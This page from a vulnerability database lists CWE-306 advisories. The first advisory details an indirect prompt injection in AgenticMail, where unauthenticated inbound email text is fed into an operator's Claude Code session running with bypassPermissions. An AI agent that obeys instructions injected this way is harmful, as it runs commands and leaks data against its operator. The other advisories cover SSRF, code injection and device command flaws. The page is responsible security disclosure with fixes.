CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
4625 vulnerabilities reference this CWE, most recent first.
GHSA-FQ4X-789W-JG5H
Vulnerability from github – Published: 2026-06-18 17:21 – Updated: 2026-07-21 13:41Summary
Two inbound-mail handlers act on a privileged effect without verifying that the sender is the operator, while a sibling handler in the same repo does. The higher-impact one: any external email routed to the bridge inbox causes the dispatcher to resume the operator's Claude Code session with permissionMode: 'bypassPermissions', embedding the attacker-controlled from/subject/preview verbatim into the prompt the resumed agent reads — an indirect prompt injection into a fully-privileged agent (Bash/Write/Edit/WebFetch + the agenticmail MCP toolbelt) running as the operator's OAuth identity. The sibling operator-query email-reply hook gates the same untrusted-From provenance with isOperatorReplySender(replyFrom, config.operatorEmail) (fail-closed); the bridge-wake path — a strictly higher-privilege effect — has no equivalent.
Affected code (current HEAD, commit b95f52e)
Untrusted provenance: external inbound email enters at packages/api/src/routes/inbound.ts:41 (POST /mail/inbound); the x-inbound-secret authenticates only the relay->API hop, not the external sender, so from/subject/preview are attacker-controlled.
Privileged sink (bridge-wake, bypassPermissions):
- packages/claudecode/src/dispatcher.ts:2040 handleBridgeMail extracts subject/from/preview (:2045-2049) and calls planBridgeWake({ session, mail: { ..., from, preview } }) (:2052) with NO sender check — routing keys only on session freshness (skip-live / escalate / resume).
- planBridgeWake -> packages/core/src/host-bridge.ts:141 composeBridgeWakePrompt embeds the untrusted from/subject/preview (preview sliced to 600 chars at :144) verbatim into the prompt.
- packages/claudecode/src/bridge-wake.ts:103 resumeBridgeSession runs the prompt via the Claude Code SDK with permissionMode: 'bypassPermissions' against the operator's last session (resume + same mcpServers).
Guarded sibling (same class, authenticated): packages/api/src/routes/inbound.ts:102 rejects an operator-query email reply unless isOperatorReplySender(replyFrom, config.operatorEmail) (def packages/core/src/phone/realtime-tools.ts:999, fail-closed when no operatorEmail), with a v0.9.53 security-review comment (inbound.ts:93-100) stating inbound mail provenance is untrusted and an emailed answer is only honored when its From matches the configured operator. The Telegram sibling likewise gates on operatorChatId. The bridge-wake path ignores this exact lesson.
Secondary instance (same root cause): packages/core/src/gateway/manager.ts:261 tryProcessApprovalReply releases a held outbound email on an "approve" reply matched only by In-Reply-To / notification_message_id, with no sender check — again unlike the isOperatorReplySender sibling.
Impact
In a configured headless-bridge deployment (operator uses the CLI so a host-session is saved; session fresh <24h per host-sessions.ts:127; external mail routed to the bridge inbox via relay sub-addressing or a Cloudflare webhook), an external sender achieves indirect prompt injection into a bypassPermissions operator session -> arbitrary OS command execution, filesystem read/write, and exfiltration under the operator's OAuth identity. The auth gap (no sender check on the bridge path) is structural and unconditional; the impact realization is config-conditional and depends on the resumed model following injected instructions.
Proof of concept (static / request-difference; dynamic on operator's OWN setup only)
Static: the from/subject/preview extracted at dispatcher.ts:2045-2049 flow into composeBridgeWakePrompt (host-bridge.ts:141) and resumeBridgeSession (bridge-wake.ts:103) with no interposed sender check, while the sibling inbound.ts:102 has one — the same untrusted-From provenance is authenticated on one privileged email path and not on the higher-privileged one. Dynamic (own instance only): with a configured bridge + fresh host-session, send mail from a non-operator address into the bridge inbox whose subject/preview contains a benign instruction writing a fresh CSPRNG marker; observe the resumed bypassPermissions session act on it. Use only your own instance; do not target third-party deployments.
Suggested fix
Mirror the guarded sibling: before any bypassPermissions resume (dispatcher.ts handleBridgeMail, before planBridgeWake), require trusted provenance — an internal sub-agent wake OR isOperatorReplySender(from, config.operatorEmail); otherwise deliver the mail normally but do NOT resume. Reuse the existing exported isOperatorReplySender from @agenticmail/core so the two privileged email paths share one authentication helper. Defense-in-depth: in composeBridgeWakePrompt, wrap the untrusted fields in explicit untrusted-data delimiters and drop bypassPermissions for mail-triggered resumes whose provenance is not the operator. Apply the same sender gate to tryProcessApprovalReply (manager.ts:261).
Affected versions
Present on current HEAD (core 0.9.42 / claudecode 0.2.38, commit b95f52e). No fix retrofits the sender check onto bridge-wake.
Severity (honest, both ways)
HIGH, plausibly CRITICAL in a configured headless-bridge deployment. Ceiling ~9.0 (unauthenticated external sender -> operator-privileged code execution). Floor ~7.0: the auth gap is unconditional, but full impact requires (1) a fresh <24h host-session, (2) external mail routed to the bridge inbox, (3) the resumed model obeying injected instructions (non-deterministic). Not a deterministic RCE primitive. CWE-306 (missing authentication for the privileged action) + CWE-77/CWE-94 (injected instructions realized as command execution). Novelty: the two existing agenticmail advisories (CVE-2026-50287 MCP missing-auth; CVE-2026-47255 storage SQL) do not cover this sink. Please rate per your deployment assumptions.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@agenticmail/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.43"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@agenticmail/claudecode"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.39"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@agenticmail/codex"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.33"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@agenticmail/openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.71"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57495"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T17:21:27Z",
"nvd_published_at": "2026-07-20T22:17:17Z",
"severity": "HIGH"
},
"details": "## Summary\nTwo inbound-mail handlers act on a privileged effect without verifying that the sender is the operator, while a sibling handler in the same repo does. The higher-impact one: any external email routed to the bridge inbox causes the dispatcher to resume the operator\u0027s Claude Code session with `permissionMode: \u0027bypassPermissions\u0027`, embedding the attacker-controlled `from`/`subject`/`preview` verbatim into the prompt the resumed agent reads \u2014 an indirect prompt injection into a fully-privileged agent (Bash/Write/Edit/WebFetch + the agenticmail MCP toolbelt) running as the operator\u0027s OAuth identity. The sibling operator-query email-reply hook gates the same untrusted-From provenance with `isOperatorReplySender(replyFrom, config.operatorEmail)` (fail-closed); the bridge-wake path \u2014 a strictly higher-privilege effect \u2014 has no equivalent.\n\n## Affected code (current HEAD, commit b95f52e)\nUntrusted provenance: external inbound email enters at `packages/api/src/routes/inbound.ts:41` (POST /mail/inbound); the `x-inbound-secret` authenticates only the relay-\u003eAPI hop, not the external sender, so `from`/`subject`/`preview` are attacker-controlled.\n\nPrivileged sink (bridge-wake, bypassPermissions):\n- `packages/claudecode/src/dispatcher.ts:2040` `handleBridgeMail` extracts `subject`/`from`/`preview` (`:2045-2049`) and calls `planBridgeWake({ session, mail: { ..., from, preview } })` (`:2052`) with NO sender check \u2014 routing keys only on session freshness (skip-live / escalate / resume).\n- `planBridgeWake` -\u003e `packages/core/src/host-bridge.ts:141` `composeBridgeWakePrompt` embeds the untrusted `from`/`subject`/`preview` (preview sliced to 600 chars at `:144`) verbatim into the prompt.\n- `packages/claudecode/src/bridge-wake.ts:103` `resumeBridgeSession` runs the prompt via the Claude Code SDK with `permissionMode: \u0027bypassPermissions\u0027` against the operator\u0027s last session (resume + same mcpServers).\n\nGuarded sibling (same class, authenticated): `packages/api/src/routes/inbound.ts:102` rejects an operator-query email reply unless `isOperatorReplySender(replyFrom, config.operatorEmail)` (def `packages/core/src/phone/realtime-tools.ts:999`, fail-closed when no operatorEmail), with a v0.9.53 security-review comment (`inbound.ts:93-100`) stating inbound mail provenance is untrusted and an emailed answer is only honored when its From matches the configured operator. The Telegram sibling likewise gates on `operatorChatId`. The bridge-wake path ignores this exact lesson.\n\nSecondary instance (same root cause): `packages/core/src/gateway/manager.ts:261` `tryProcessApprovalReply` releases a held outbound email on an \"approve\" reply matched only by `In-Reply-To` / `notification_message_id`, with no sender check \u2014 again unlike the `isOperatorReplySender` sibling.\n\n## Impact\nIn a configured headless-bridge deployment (operator uses the CLI so a host-session is saved; session fresh \u003c24h per `host-sessions.ts:127`; external mail routed to the bridge inbox via relay sub-addressing or a Cloudflare webhook), an external sender achieves indirect prompt injection into a `bypassPermissions` operator session -\u003e arbitrary OS command execution, filesystem read/write, and exfiltration under the operator\u0027s OAuth identity. The auth gap (no sender check on the bridge path) is structural and unconditional; the impact realization is config-conditional and depends on the resumed model following injected instructions.\n\n## Proof of concept (static / request-difference; dynamic on operator\u0027s OWN setup only)\nStatic: the from/subject/preview extracted at dispatcher.ts:2045-2049 flow into composeBridgeWakePrompt (host-bridge.ts:141) and resumeBridgeSession (bridge-wake.ts:103) with no interposed sender check, while the sibling inbound.ts:102 has one \u2014 the same untrusted-From provenance is authenticated on one privileged email path and not on the higher-privileged one. Dynamic (own instance only): with a configured bridge + fresh host-session, send mail from a non-operator address into the bridge inbox whose subject/preview contains a benign instruction writing a fresh CSPRNG marker; observe the resumed bypassPermissions session act on it. Use only your own instance; do not target third-party deployments.\n\n## Suggested fix\nMirror the guarded sibling: before any `bypassPermissions` resume (dispatcher.ts handleBridgeMail, before planBridgeWake), require trusted provenance \u2014 an internal sub-agent wake OR `isOperatorReplySender(from, config.operatorEmail)`; otherwise deliver the mail normally but do NOT resume. Reuse the existing exported `isOperatorReplySender` from @agenticmail/core so the two privileged email paths share one authentication helper. Defense-in-depth: in composeBridgeWakePrompt, wrap the untrusted fields in explicit untrusted-data delimiters and drop `bypassPermissions` for mail-triggered resumes whose provenance is not the operator. Apply the same sender gate to `tryProcessApprovalReply` (manager.ts:261).\n\n## Affected versions\nPresent on current HEAD (core 0.9.42 / claudecode 0.2.38, commit b95f52e). No fix retrofits the sender check onto bridge-wake.\n\n## Severity (honest, both ways)\nHIGH, plausibly CRITICAL in a configured headless-bridge deployment. Ceiling ~9.0 (unauthenticated external sender -\u003e operator-privileged code execution). Floor ~7.0: the auth gap is unconditional, but full impact requires (1) a fresh \u003c24h host-session, (2) external mail routed to the bridge inbox, (3) the resumed model obeying injected instructions (non-deterministic). Not a deterministic RCE primitive. CWE-306 (missing authentication for the privileged action) + CWE-77/CWE-94 (injected instructions realized as command execution). Novelty: the two existing agenticmail advisories (CVE-2026-50287 MCP missing-auth; CVE-2026-47255 storage SQL) do not cover this sink. Please rate per your deployment assumptions.",
"id": "GHSA-fq4x-789w-jg5h",
"modified": "2026-07-21T13:41:07Z",
"published": "2026-06-18T17:21:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/security/advisories/GHSA-fq4x-789w-jg5h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57495"
},
{
"type": "PACKAGE",
"url": "https://github.com/agenticmail/agenticmail"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "AgenticMail: Unauthenticated inbound mail triggers bypassPermissions resume of the operator\u0027s Claude Code session (bridge-wake)"
}
GHSA-FQCV-R9MW-P4VW
Vulnerability from github – Published: 2025-07-25 18:30 – Updated: 2025-07-25 18:30A remote code execution vulnerability exists in HybridAuth versions 2.0.9 through 2.2.2 due to insecure use of the install.php installation script. The script remains accessible after deployment and fails to sanitize input before writing to the application’s config.php file. An unauthenticated attacker can inject arbitrary PHP code into config.php, which is later executed when the file is loaded. This allows attackers to achieve remote code execution on the server. Exploitation of this issue will overwrite the existing configuration, rendering the application non-functional.
{
"affected": [],
"aliases": [
"CVE-2014-125116"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-25T16:15:26Z",
"severity": "CRITICAL"
},
"details": "A remote code execution vulnerability exists in HybridAuth versions 2.0.9 through 2.2.2 due to insecure use of the install.php installation script. The script remains accessible after deployment and fails to sanitize input before writing to the application\u2019s config.php file. An unauthenticated attacker can inject arbitrary PHP code into config.php, which is later executed when the file is loaded. This allows attackers to achieve remote code execution on the server. Exploitation of this issue will overwrite the existing configuration, rendering the application non-functional.",
"id": "GHSA-fqcv-r9mw-p4vw",
"modified": "2025-07-25T18:30:38Z",
"published": "2025-07-25T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-125116"
},
{
"type": "WEB",
"url": "https://hybridauth.github.io"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb"
},
{
"type": "WEB",
"url": "https://vulners.com/metasploit/MSF:EXPLOIT-UNIX-WEBAPP-HYBRIDAUTH_INSTALL_PHP_EXEC-"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/34273"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/34390"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/hybridauth-unauth-rce-via-config-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FQHH-MFCP-4MCW
Vulnerability from github – Published: 2023-08-31 18:30 – Updated: 2024-04-04 07:20A Missing Authentication for Critical Function vulnerability in the Schweitzer Engineering Laboratories SEL-5037 SEL Grid Configurator could allow an attacker to run arbitrary commands on managed devices by an authorized device operator.
See Instruction Manual Appendix A and Appendix E dated 20230615 for more details.
This issue affects SEL-5037 SEL Grid Configurator: before 4.5.0.20.
{
"affected": [],
"aliases": [
"CVE-2023-34392"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-31T16:15:10Z",
"severity": "HIGH"
},
"details": "\nA Missing Authentication for Critical Function vulnerability in the Schweitzer Engineering Laboratories SEL-5037 SEL Grid Configurator could allow an attacker to run arbitrary commands on managed devices by an authorized device operator.\n\n\n\n\n\nSee Instruction Manual Appendix A and Appendix E dated 20230615 for more details.\n\n\nThis issue affects SEL-5037 SEL Grid Configurator: before 4.5.0.20.\n\n",
"id": "GHSA-fqhh-mfcp-4mcw",
"modified": "2024-04-04T07:20:53Z",
"published": "2023-08-31T18:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34392"
},
{
"type": "WEB",
"url": "https://selinc.com/support/security-notifications/external-reports"
},
{
"type": "WEB",
"url": "https://www.nozominetworks.com/blog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FQRR-5G6M-C8HX
Vulnerability from github – Published: 2026-08-04 18:31 – Updated: 2026-08-04 18:31Cryptographic Issue while processing registration requests with malformed or missing authentication parameters.
{
"affected": [],
"aliases": [
"CVE-2026-24079"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-04T16:16:23Z",
"severity": "HIGH"
},
"details": "Cryptographic Issue while processing registration requests with malformed or missing authentication parameters.",
"id": "GHSA-fqrr-5g6m-c8hx",
"modified": "2026-08-04T18:31:26Z",
"published": "2026-08-04T18:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24079"
},
{
"type": "WEB",
"url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/august-2026-bulletin.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FQVV-JVHR-G5JC
Vulnerability from github – Published: 2026-05-05 18:21 – Updated: 2026-05-13 14:18Impact
The POST /api/v2/firefighter/raid/jira_bot endpoint (CreateJiraBotView) is
reachable without authentication (permission_classes = [permissions.AllowAny]).
Its attachments payload is fetched server-side via httpx.get() with no URL
validation, then uploaded as an attachment on the Jira ticket that gets created.
An unauthenticated caller able to reach the ingress can coerce the pod into
fetching arbitrary URLs — including the cloud metadata endpoint at
http://169.254.169.254/ — and exfiltrate the response as a Jira attachment.
On EC2/EKS deployments that do not enforce IMDSv2, this allows theft of the temporary AWS credentials attached to the pod's IAM role. The docstring on the view claims a Bearer token is required, but the code does not enforce it.
Affected code paths:
- src/firefighter/raid/views/__init__.py — CreateJiraBotView
- src/firefighter/raid/serializers.py — LandbotIssueRequestSerializer.attachments
- src/firefighter/raid/client.py — RaidJiraClient.add_attachments_to_issue
### Patches
Fixed in firefighter-incident 0.0.54:
- CreateJiraBotView now enforces BearerTokenAuthentication + IsAuthenticated.
- attachments URLs are validated: http(s) scheme only, max 10 URLs, rejection
of any host resolving to a private, loopback, link-local, reserved, multicast
or unspecified IP (IPv4 and IPv6).
- Fixes an unrelated KeyError('attachments') surfaced during regression testing.
Users should upgrade to 0.0.54 or later.
### Workarounds
Until upgrade is possible, any one of the following blocks end-to-end exploitation:
- Restrict ingress access to /api/v2/firefighter/raid/jira_bot to trusted
networks only (VPN, internal load balancer).
- Rotate or revoke the Jira API token configured as RAID_JIRA_API_PASSWORD;
this breaks jira.create_issue() before the vulnerable attachment fetch is
reached (legitimate traffic is also blocked — emergency mitigation only).
- Enforce IMDSv2 with HttpPutResponseHopLimit=1 on EC2/EKS nodes. This does
not fix the SSRF itself but neutralises the IAM-credential-theft path.
### Resources - CWE-918: Server-Side Request Forgery - CWE-306: Missing Authentication for Critical Function
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "firefighter-incident"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.54"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42864"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T18:21:17Z",
"nvd_published_at": "2026-05-11T19:16:24Z",
"severity": "CRITICAL"
},
"details": "### Impact\n The `POST /api/v2/firefighter/raid/jira_bot` endpoint (`CreateJiraBotView`) is\n reachable without authentication (`permission_classes = [permissions.AllowAny]`).\n Its `attachments` payload is fetched server-side via `httpx.get()` with no URL\n validation, then uploaded as an attachment on the Jira ticket that gets created.\n\n An unauthenticated caller able to reach the ingress can coerce the pod into\n fetching arbitrary URLs \u2014 including the cloud metadata endpoint at\n `http://169.254.169.254/` \u2014 and exfiltrate the response as a Jira attachment.\n\n On EC2/EKS deployments that do not enforce IMDSv2, this allows theft of the\n temporary AWS credentials attached to the pod\u0027s IAM role. The docstring on the\n view claims a Bearer token is required, but the code does not enforce it.\n\n Affected code paths:\n - `src/firefighter/raid/views/__init__.py` \u2014 `CreateJiraBotView`\n - `src/firefighter/raid/serializers.py` \u2014 `LandbotIssueRequestSerializer.attachments`\n - `src/firefighter/raid/client.py` \u2014 `RaidJiraClient.add_attachments_to_issue`\n\n ### Patches\n Fixed in `firefighter-incident` `0.0.54`:\n - `CreateJiraBotView` now enforces `BearerTokenAuthentication` + `IsAuthenticated`.\n - `attachments` URLs are validated: http(s) scheme only, max 10 URLs, rejection\n of any host resolving to a private, loopback, link-local, reserved, multicast\n or unspecified IP (IPv4 and IPv6).\n - Fixes an unrelated `KeyError(\u0027attachments\u0027)` surfaced during regression testing.\n\n Users should upgrade to `0.0.54` or later.\n\n ### Workarounds\n Until upgrade is possible, any one of the following blocks end-to-end exploitation:\n - Restrict ingress access to `/api/v2/firefighter/raid/jira_bot` to trusted\n networks only (VPN, internal load balancer).\n - Rotate or revoke the Jira API token configured as `RAID_JIRA_API_PASSWORD`;\n this breaks `jira.create_issue()` before the vulnerable attachment fetch is\n reached (legitimate traffic is also blocked \u2014 emergency mitigation only).\n - Enforce IMDSv2 with `HttpPutResponseHopLimit=1` on EC2/EKS nodes. This does\n not fix the SSRF itself but neutralises the IAM-credential-theft path.\n\n ### Resources\n - CWE-918: Server-Side Request Forgery\n - CWE-306: Missing Authentication for Critical Function",
"id": "GHSA-fqvv-jvhr-g5jc",
"modified": "2026-05-13T14:18:22Z",
"published": "2026-05-05T18:21:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ManoManoTech/firefighter-incident/security/advisories/GHSA-fqvv-jvhr-g5jc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42864"
},
{
"type": "WEB",
"url": "https://github.com/ManoManoTech/firefighter-incident/commit/2586679e6f32c12d223668b73e98f4c4de7b771f"
},
{
"type": "PACKAGE",
"url": "https://github.com/ManoManoTech/firefighter-incident"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "FireFighter has unauthenticated SSRF in its Raid jira_bot endpoint that allows IAM credential theft"
}
GHSA-FR42-P77X-54X8
Vulnerability from github – Published: 2023-10-25 21:30 – Updated: 2023-11-02 18:30An authentication issue was addressed with improved state management. This issue is fixed in macOS Sonoma 14.1, iOS 17.1 and iPadOS 17.1. Photos in the Hidden Photos Album may be viewed without authentication.
{
"affected": [],
"aliases": [
"CVE-2023-42845"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-25T19:15:10Z",
"severity": "MODERATE"
},
"details": "An authentication issue was addressed with improved state management. This issue is fixed in macOS Sonoma 14.1, iOS 17.1 and iPadOS 17.1. Photos in the Hidden Photos Album may be viewed without authentication.",
"id": "GHSA-fr42-p77x-54x8",
"modified": "2023-11-02T18:30:23Z",
"published": "2023-10-25T21:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42845"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213982"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213984"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213982"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213984"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2023/Oct/19"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2023/Oct/24"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FR44-F297-PPG9
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2024-04-04 05:31SAUTER Controls Nova 200–220 Series with firmware version 3.3-006 and prior and BACnetstac version 4.2.1 and prior allows the execution of commands without credentials. As Telnet and file transfer protocol (FTP) are the only protocols available for device management, an unauthorized user could access the system and modify the device configuration, which could result in the unauthorized user executing unrestricted malicious commands.
{
"affected": [],
"aliases": [
"CVE-2023-0052"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-20T22:15:00Z",
"severity": "HIGH"
},
"details": "SAUTER Controls Nova 200\u2013220 Series with firmware version 3.3-006 and prior and BACnetstac version 4.2.1 and prior allows the execution of commands without credentials. As Telnet and file transfer protocol (FTP) are the only protocols available for device management, an unauthorized user could access the system and modify the device configuration, which could result in the unauthorized user executing unrestricted malicious commands.",
"id": "GHSA-fr44-f297-ppg9",
"modified": "2024-04-04T05:31:42Z",
"published": "2023-07-06T19:24:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0052"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-23-012-05"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FRC3-JMXC-4PMX
Vulnerability from github – Published: 2024-06-27 18:31 – Updated: 2024-06-27 18:31IBM OpenBMC FW1050.00 through FW1050.10 BMCWeb HTTPS server component could disclose sensitive URI content to an unauthorized actor that bypasses authentication channels. IBM X-ForceID: 290026.
{
"affected": [],
"aliases": [
"CVE-2024-31916"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-27T18:15:17Z",
"severity": "HIGH"
},
"details": "IBM OpenBMC FW1050.00 through FW1050.10 BMCWeb HTTPS server component could disclose sensitive URI content to an unauthorized actor that bypasses authentication channels. IBM X-ForceID: 290026.",
"id": "GHSA-frc3-jmxc-4pmx",
"modified": "2024-06-27T18:31:32Z",
"published": "2024-06-27T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31916"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/290026"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7158679"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FRC8-35G4-52PF
Vulnerability from github – Published: 2026-06-02 00:31 – Updated: 2026-06-02 00:31Cryptographic Issue while processing a specific partition which allows unauthorized write access to load a customized bootloader.
{
"affected": [],
"aliases": [
"CVE-2026-24088"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-01T23:16:19Z",
"severity": "HIGH"
},
"details": "Cryptographic Issue while processing a specific partition which allows unauthorized write access to load a customized bootloader.",
"id": "GHSA-frc8-35g4-52pf",
"modified": "2026-06-02T00:31:58Z",
"published": "2026-06-02T00:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24088"
},
{
"type": "WEB",
"url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/june-2026-bulletin.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FRCV-RVMC-CP27
Vulnerability from github – Published: 2025-10-21 21:33 – Updated: 2025-10-21 21:33Vulnerability in the Oracle Life Sciences InForm product of Oracle Health Sciences Applications (component: Web Server). The supported version that is affected is 7.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Life Sciences InForm. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Life Sciences InForm, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Life Sciences InForm accessible data as well as unauthorized read access to a subset of Oracle Life Sciences InForm accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
{
"affected": [],
"aliases": [
"CVE-2025-62287"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-21T20:20:53Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle Life Sciences InForm product of Oracle Health Sciences Applications (component: Web Server). The supported version that is affected is 7.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Life Sciences InForm. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Life Sciences InForm, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Life Sciences InForm accessible data as well as unauthorized read access to a subset of Oracle Life Sciences InForm accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).",
"id": "GHSA-frcv-rvmc-cp27",
"modified": "2025-10-21T21:33:43Z",
"published": "2025-10-21T21:33:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62287"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
